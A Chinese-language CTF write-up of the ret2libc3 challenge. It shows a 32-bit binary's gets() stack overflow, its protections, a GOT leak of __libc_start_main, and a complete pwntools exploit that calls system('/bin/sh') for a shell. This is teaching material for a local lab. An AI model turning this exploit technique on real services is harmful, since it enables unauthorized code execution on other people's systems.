ret2libc3

先看C代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include <stdio.h>
#include <stdlib.h>
#include <time.h>

char buf2[100];

void secure(void)
{
int secretcode, input;
srand(time(NULL));

secretcode = rand();
scanf("%d", &input);
if(input == secretcode)
puts("no_shell_QQ");
}

int main(void)
{
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);

char buf1[100];

printf("No surprise anymore, system disappeard QQ.\n");
printf("Can you find it !?");
gets(buf1);

return 0;
}

一、程序分析

checksec查看一下程序保护机制:

1
2
3
4
5
6
7
8
zhuyuan@zhuyuan-vm:~/ctf-challenges/pwn/stackoverflow/ret2libc/ret2libc3$ checksec ret2libc3
[*] '/home/zhuyuan/ctf-challenges/pwn/stackoverflow/ret2libc/ret2libc3/ret2libc3'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

32位程序并且开启了NX保护,无法执行我们的shellcode,并且找不到system函数地址和’/bin/sh’的地址,所以需要我么自己找出。

ida查看伪C代码:

1
2
3
4
5
6
7
8
9
10
11
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[100]; // [esp+1Ch] [ebp-64h] BYREF

setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("No surprise anymore, system disappeard QQ.");
printf("Can you find it !?");
gets(s);
return 0;
}

溢出函数是gets函数,s的实际地址距离ret返回地址位0x6c+4

如何得到system是这题的关键,利用两点:

1、system函数属于libc,而libc.so同台链接库中的函数之间相对偏移是固定的

2、即使开启了ALSR保护,也只针对地址中间位进行随机,最低12位不会发生改变

所以当知道了libc中某个函数的地址,可以先确定该程序利用的libc版本,进而通过偏移获取system函数的地址

需要做的就是找到libc中某个函数的地址,一般常用的就是通过got表泄露,即输出某个函数对应的got表项的内容(函数的真实地址)。由于libc的延迟绑定机制,做题时需要泄露已经执行过的函数地址

libc中不只有system函数,还有/bin/sh字符串,也可以通过偏移获得/bin/sh字符串地址

这题选用_libc_start_main的地址,这是程序最初被执行的地方

1
2
3
4
int __cdecl __libc_start_main(int (__cdecl *main)(int, char **, char **), int argc, char **ubp_av, void (*init)(void), void (*fini)(void), void (*rtld_fini)(void), void *stack_end)
{
return _libc_start_main(main, argc, ubp_av, init, fini, rtld_fini, stack_end);
}

利用思路:

1、泄露_libc_start_main

2、获取libc版本

3、获取system函数地址和/bin/sh的地址

4、再次执行程序

5、触发栈溢出执行system(‘/bin/sh’)

二、EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
rom pwn import *
from libcfind import*
sh = process('./ret2libc3') #导入文件

ret2libc3 = ELF('./ret2libc3') #进行ELF文件逆向

puts_plt = 0x08048460 #puts函数的plt表地址
libc_start_main_got = ret2libc3.got['__libc_start_main'] #获取__libc_start_main got表地址
start = 0x080484D0

print(hex(puts_plt), hex(libc_start_main_got), hex(start))
print("leak libc_start_main_got addr and return to main again")
payload = flat([b'A' * 112, puts_plt, start, libc_start_main_got])
sh.sendlineafter('Can you find it !?', payload)

print("get the related addr")
libc_start_main_addr = u32(sh.recv()[0:4])
print(hex(libc_start_main_addr))
libc = finder('__libc_start_main', libc_start_main_addr,num=1)
libcbase = libc.libcbase #得到Libc基址
system_addr = libc.dump('system') #获取system真实地址
binsh_addr = libc.dump('str_bin_sh') #获取/bin/sh真实地址

print("get shell")
payload = flat([b'A' * 112, system_addr, 0xdeadbeef, binsh_addr])
sh.sendline(payload)

sh.interactive()